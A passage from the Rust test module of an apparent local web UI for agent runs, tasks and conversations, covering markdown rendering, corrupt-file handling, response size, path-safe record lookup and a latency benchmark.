26267            messages: Vec::new(),
26268            posted_by: None,
26269        });
26270        ui.talks.put(&mut conversation).unwrap();
26271
26272        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26273        let markdown = serde_json::to_value(&core.turn_bodies_md)
26274            .unwrap()
26275            .to_string();
26276        assert!(markdown.contains("\"strong\""));
26277        assert!(markdown.contains("\"table\""));
26278        assert!(markdown.contains("\"bullet_list\""));
26279        assert!(markdown.contains("\"code_block\""));
26280        assert!(!markdown.contains("\"internal_link\""));
26281        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26282        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26283        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26284
26285        // Deferred decoration still resolves the same validated task, without
26286        // touching opaque code blocks or changing the original transcript.
26287        let references = ui.references.for_talk(home.path(), &conversation);
26288        let mut decorated = core.turn_bodies_md[0].clone();
26289        references.markdown(&mut decorated);
26290        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26291        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26292        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26293        assert_eq!(
26294            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26295            conversation.turns[0].body
26296        );
26297    }
26298
26299    #[tokio::test]
26300    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26301        let home = tempfile::tempdir().unwrap();
26302        let ui = delta_test_ui(home.path());
26303        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26304        let mut run = RunState::new(
26305            PathBuf::from("/repo"),
26306            "main".into(),
26307            "01234567".into(),
26308            "Useful run".into(),
26309            Config::default(),
26310        );
26311        run.save_under(home.path()).unwrap();
26312        let mut task = Task::new(
26313            "Related".into(),
26314            "body".into(),
26315            PathBuf::from("/repo"),
26316            Source::Agent {
26317                run: talk_id.clone(),
26318                node: "chat".into(),
26319            },
26320        );
26321        task.runs = vec![run.id.clone()];
26322        ui.queue.put(&mut task).unwrap();
26323        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26324        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26325        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26326        assert!(
26327            run_detail(State(ui.clone()), Path(run.id.clone()))
26328                .await
26329                .is_ok()
26330        );
26331        assert!(
26332            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26333                .await
26334                .is_ok()
26335        );
26336        // Previously indexed corruption must not masquerade as no relationship.
26337        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26338        assert!(ui.find_task_for_run(&run.id).is_err());
26339        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26340        ui.queue.put(&mut task).unwrap();
26341        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26342    }
26343
26344    #[tokio::test]
26345    async fn conversation_sections_omit_large_task_instructions() {
26346        let home = tempfile::tempdir().unwrap();
26347        let ui = delta_test_ui(home.path());
26348        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26349        let mut task = Task::new(
26350            "filed task".into(),
26351            "large instruction ".repeat(65536),
26352            PathBuf::from("/repo"),
26353            Source::Agent {
26354                run: id.clone(),
26355                node: "chat".into(),
26356            },
26357        );
26358        ui.queue.put(&mut task).unwrap();
26359        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26360        assert_eq!(sections["tasks"][0]["id"], task.id);
26361        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26362        assert!(sections["tasks"][0].get("instruction").is_none());
26363        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26364    }
26365
26366    #[test]
26367    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26368        let home = tempfile::tempdir().unwrap();
26369        let talks = Talks::at(home.path().join("talks"));
26370        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26371        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26372        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26373        assert!(resolve_talk(&talks, "../outside").is_err());
26374        assert!(resolve_talk(&talks, "abcd").is_err());
26375        assert_eq!(
26376            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26377            "20261019-000001-abcd"
26378        );
26379    }
26380
26381    include!(concat!(
26382        env!("CARGO_MANIFEST_DIR"),
26383        "/tests/web_latency/baseline.rs"
26384    ));
26385
26386    include!(concat!(
26387        env!("CARGO_MANIFEST_DIR"),
26388        "/tests/web_latency/lists.rs"
26389    ));
26390
26391    #[tokio::test]
26392    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26393    async fn web_history_latency_measurement() {
26394        use std::time::Instant;
26395        let home = tempfile::tempdir().unwrap();
26396        let ui = delta_test_ui(home.path());
26397        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26398        let mut template = ui.talks.get(&id).unwrap();
26399        template.turns = serde_json::from_value(serde_json::json!([{
26400            "who": "operator", "body": "Show the accumulated work and its current status.",
26401            "at": Timestamp::now().to_string(),
26402        }]))
26403        .unwrap();
26404        std::fs::write(
26405            ui.talks.path_of(&id),
26406            serde_json::to_vec(&template).unwrap(),
26407        )
26408        .unwrap();
26409        let count = std::env::var("MAGI_BENCH_RECORDS")
26410            .ok()
26411            .and_then(|s| s.parse::<usize>().ok())
26412            .unwrap_or(1000);
26413        for i in 0..count {
26414            template.id = format!("20261019-{i:06}-history");
26415            template.pending = "history ".repeat(2048);
26416            std::fs::write(
26417                ui.talks.path_of(&template.id),
26418                serde_json::to_vec(&template).unwrap(),
26419            )
26420            .unwrap();
26421            let mut task = Task::new(
26422                "old task".into(),
26423                "instruction ".repeat(2048),
26424                PathBuf::from("/repo"),
26425                Source::Human,
26426            );
26427            task.id = format!("20261019-{i:06}-task");
26428            ui.queue.put(&mut task).unwrap();
26429        }
26430        for baseline in [true, false] {
26431            for clients in [1, 4] {
26432                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26433                let mut samples = Vec::new();
26434                for _ in 0..12 {
26435                    let mut jobs = Vec::new();
26436                    for _ in 0..clients {
26437                        let ui = ui.clone();
26438                        let id = id.clone();
26439                        jobs.push(tokio::spawn(async move {
26440                            let start = Instant::now();
26441                            if baseline {
26442                                let response =
26443                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26444                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26445                                return (
26446                                    elapsed,
26447                                    elapsed,
26448                                    serde_json::to_vec(&response).unwrap().len(),
26449                                );
26450                            }
26451                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26452                            let secondary = talk_sections(State(ui), Path(id));
26453                            let (first, total) = tokio::join!(
26454                                async {
26455                                    let value = core.await.unwrap().0;
26456                                    (
26457                                        start.elapsed().as_secs_f64() * 1000.0,
26458                                        serde_json::to_vec(&value).unwrap().len(),
26459                                    )
26460                                },
26461                                async {
26462                                    let value = secondary.await.unwrap().0;
26463                                    (
26464                                        start.elapsed().as_secs_f64() * 1000.0,
26465                                        serde_json::to_vec(&value).unwrap().len(),
26466                                    )
26467                                }
26468                            );
26469                            (first.0, first.0.max(total.0), first.1 + total.1)
26470                        }));
26471                    }
26472                    for job in jobs {
26473                        samples.push(job.await.unwrap());
26474                    }
26475                }
26476                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26477                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26478                first.sort_by(f64::total_cmp);
26479                total.sort_by(f64::total_cmp);
26480                let n = first.len();
26481                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26482                println!(
26483                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26484                    first[n / 2],
26485                    first[(n * 95 / 100).min(n - 1)],
26486                    total[n / 2],
26487                    total[(n * 95 / 100).min(n - 1)],
26488                    samples[0].2
26489                );
26490            }
26491        }
26492    }
26493
26494    #[test]
26495    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26496        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26497        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26498        assert!(APP_JS.contains("function nextRunRequest(id)"));
26499        assert!(APP_JS.contains("function runShell(id, summary)"));
26500        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26501        assert!(APP_JS.contains("function taskShell(id, summary)"));
26502        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26503    }
26504}